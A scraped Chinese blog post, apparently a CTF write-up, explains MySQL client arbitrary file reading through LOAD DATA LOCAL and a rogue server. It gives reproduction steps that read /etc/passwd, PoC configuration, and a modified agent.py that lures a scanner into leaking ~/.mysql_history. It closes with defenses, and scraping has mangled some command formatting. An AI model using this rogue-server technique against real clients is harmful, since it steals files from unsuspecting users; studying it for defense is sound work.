天天看點

html讀取本地txt_Mysql用戶端任意檔案讀取學習

前言

最近打了 

DDCTF

和 

國賽

,發現都考了一個知識點,也就是 

MysqlLocalInfile用戶端檔案讀取

這個漏洞,下面來詳細的學習一個這個漏洞。

漏洞形成原因

此漏洞形成的主要原因在于 

LOAD DATA INFILE

這個文法上。在官方文檔中的介紹為:

該LOAD DATA語句以非常高的速度将文本檔案中的行讀入表中。 LOAD DATA是補充 SELECT ... INTO OUTFILE。請參見[第13.2.10.1節“SELECT ... INTO文法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要将表中的資料寫入檔案,請使用 SELECT ... INTO OUTFILE。要将檔案讀回表中,請使用 LOAD DATA。兩個語句的FIELDS和LINES子句的文法 相同。

以下為 

LOAD DATA INFILE

的兩種用法:

  • 從本地伺服器導入資料到規定的表裡

首先我在本地的 

/var/lib/mysqld/1.txt

中添加内容 

Youhave a girlfriend

,執行指令 

load data infile"/var/lib/mysql-files/1.txt"intotable users(name)

,成功添加資料.

html讀取本地txt_Mysql用戶端任意檔案讀取學習
  • 從用戶端導入資料到伺服器上規定的表中

用戶端:Ubuntu18.04 IP

服務端:Centos7

在用戶端執行指令: 

mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";

,在服務端檢視是否添加成果資料

html讀取本地txt_Mysql用戶端任意檔案讀取學習

資料成功回顯。而造成漏洞的也是第二點操作,通過用戶端與服務端的連接配接來讀取任意檔案。

從資料包傳遞層面分析用戶端與服務端的檔案傳輸

分析環境:Ubuntu18.04

mysql 5.7

本地Mysql輸入指令: 

mysql-u root-p-h127.0.0.1

同時tcpdump抓取資料包: 

tcpdump-i lo-l port3306-w los.pcap

下面是抓到的資料包:

html讀取本地txt_Mysql用戶端任意檔案讀取學習

我們來分析一下用戶端與服務端的 

load datalocal

過程

1.伺服器向用戶端發送 

Greeting

包,包含伺服器banner資訊(協定線程ID,版本,mysql認證類型等)

html讀取本地txt_Mysql用戶端任意檔案讀取學習

2.用戶端向服務端發送 

LoginRequests

資料包,包含用戶端的banner資訊,以及 

LoadDataLocal

選項和使用者名以及md5加密過的密碼

html讀取本地txt_Mysql用戶端任意檔案讀取學習

3.Mysql用戶端發送請求,探測目标平台的指紋資訊,以及進行初始化查詢(大多數Mysql用戶端在握手後都至少會發送一次請求)這個請求是一個很關鍵的步驟,在下面我們還會繼續解釋的。

4.用戶端發起Request Query

html讀取本地txt_Mysql用戶端任意檔案讀取學習

5.服務端響應對應用戶端請求檔案名的資料包

html讀取本地txt_Mysql用戶端任意檔案讀取學習

6.用戶端将所請求檔案内容發給服務端

html讀取本地txt_Mysql用戶端任意檔案讀取學習

漏洞利用

産生的漏洞為:在用戶端發送至少一次查詢後,服務端傳回Response TABULAR資料包,告訴用戶端我們想要讀取檔案的檔案名(實作任意檔案讀取),由于用戶端對于服務端的完全信任,我們就讀取到了我們想要的檔案。

原理:在Mysql協定中,用戶端是不會儲存自身請求的,而是通過服務端的響應來執行操作。

利用:我們可以自己去構造一個惡意的Mysql的伺服器來實作讀取用戶端中我們想要的檔案,構造伺服器最重要的的部分是:在任意時候都能回複一個file-transfer請求,而不是隻在用戶端發送LOAD

DATA LOCAL資料包時才去響應回複file-transfer請求。是以,隻需要用戶端在連接配接服務端後發送一個查詢請求,服務端立刻回複一個 

file-transfer

,即可讀取到用戶端的本地檔案,而常見的 MySQL 用戶端都會在建立連接配接後發送一個請求用來判斷服務端的指紋資訊(如 

select@@version_commentlimit1

),這樣就達到了我們想要的要求。

是以惡意伺服器與用戶端互動的流程如下:

html讀取本地txt_Mysql用戶端任意檔案讀取學習

構造File-Transfer資料包

在官方文檔中是有構造示範的

html讀取本地txt_Mysql用戶端任意檔案讀取學習

我們可以通過官方文檔來具體了解一下這個資料包的結構到底是怎麼樣的

html讀取本地txt_Mysql用戶端任意檔案讀取學習

通過這張圖, 

0c

代表着資料包的長度, 

000001

代表着資料包的序列号,從 

fb

開始,後面的内容為傳回到用戶端的檔案名。

Poc

https://github.com/allyshka/Rogue-MySql-Server

file=('

/etc/passwd',

)

通過更改file括号中的值可以讀取我們想要讀到的檔案。

漏洞複現

實驗環境:

攻擊機:Centos7 Mysql5.7

靶機:Ubuntu18.04 Mysql5.7

1.首先先将本機的mysql服務關閉: 

service mysqld stop

2.在伺服器上運作惡意伺服器腳本: 

python rogue_mysql_ server.py

3.靶機遠端連接配接攻擊機資料庫: 

mysql-hYour_vps-u root-p-P3306;

4.成功得到靶機中 

/etc/passwd

的敏感資料

html讀取本地txt_Mysql用戶端任意檔案讀取學習

CTF中的應用

這次的DDCTF以及國賽中都出現了Mysql用戶端任意檔案讀取的這個漏洞.

下面對利用這個漏洞解答一下DDCTF

首先進入頁面發現

html讀取本地txt_Mysql用戶端任意檔案讀取學習

掃描器正好符合我們的漏洞原理,在掃描的過程中用弱密碼進行 

3306端口

的爆破登陸,是以我們可以利用構造惡意伺服器來讀取掃描器中的檔案。

先在伺服器上布置 

agent.py

進行掃描,發現回顯,未掃描出弱密碼,如果不布置 

agent.py

,回顯,不存在 

mysql

服務 ,修改一下 

agent.py

源碼,讓其以為我們一直開着 

mysql

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# @Time : 12/1/2019 2:58 PM

# @Author : fz

# @Site :

# @File : agent.py

# @Software: PyCharm

import json

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

from optparse import OptionParser

from subprocess import Popen, PIPE

class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

request_path = self.path

print("\n----- Request Start ----->\n")

print("request_path :", request_path)

print("UA :", self.headers.getheaders('user-agent'))

print("self.headers :", self.headers)

print(")

self.send_response(404)

self.send_header("Set-Cookie", "foo=flag")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def do_POST(self):

request_path = self.path

# print("\n----- Request Start ----->\n")

print("request_path : %s", request_path)

request_headers = self.headers

content_length = request_headers.getheaders('content-length')

length = int(content_length[0]) if content_length else 0

# print("length :", length)

print("request_headers : %s" % request_headers)

print("content : %s" % self.rfile.read(length))

# print("

self.send_response(404)

self.send_header("Set-Cookie", "foo=bar")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def _func(self):

netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)

netstat.wait()

ps_list = netstat.stdout.readlines()

result = []

for item in ps_list[2:]:

tmp = item.split()

Local_Address = tmp[3]

Process_name = tmp[6]

tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}

result.append(tmp_dic)

return result

do_PUT = do_POST

do_DELETE = do_GET

def main():

port = 8123

print('Listening on localhost:%s' % port)

server = HTTPServer(('0.0.0.0', port), RequestHandler)

server.serve_forever()

if __name__ == "__main__":

parser = OptionParser()

parser.usage = (

"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"

"Run:\n\n")

(options, args) = parser.parse_args()

main()

在伺服器上運作這個腳本,再開啟我們的 

mysql

僞造惡意伺服器,讀取一下 

~/.mysql_history

得到 

Flag

回顯

html讀取本地txt_Mysql用戶端任意檔案讀取學習

防禦手段

  • 避免使用 

    local

    讀取本地檔案
  • 使用 

    --ssl-mode=VERIFY_IDENTITY

    來建立可信的連接配接。
html讀取本地txt_Mysql用戶端任意檔案讀取學習

繼續閱讀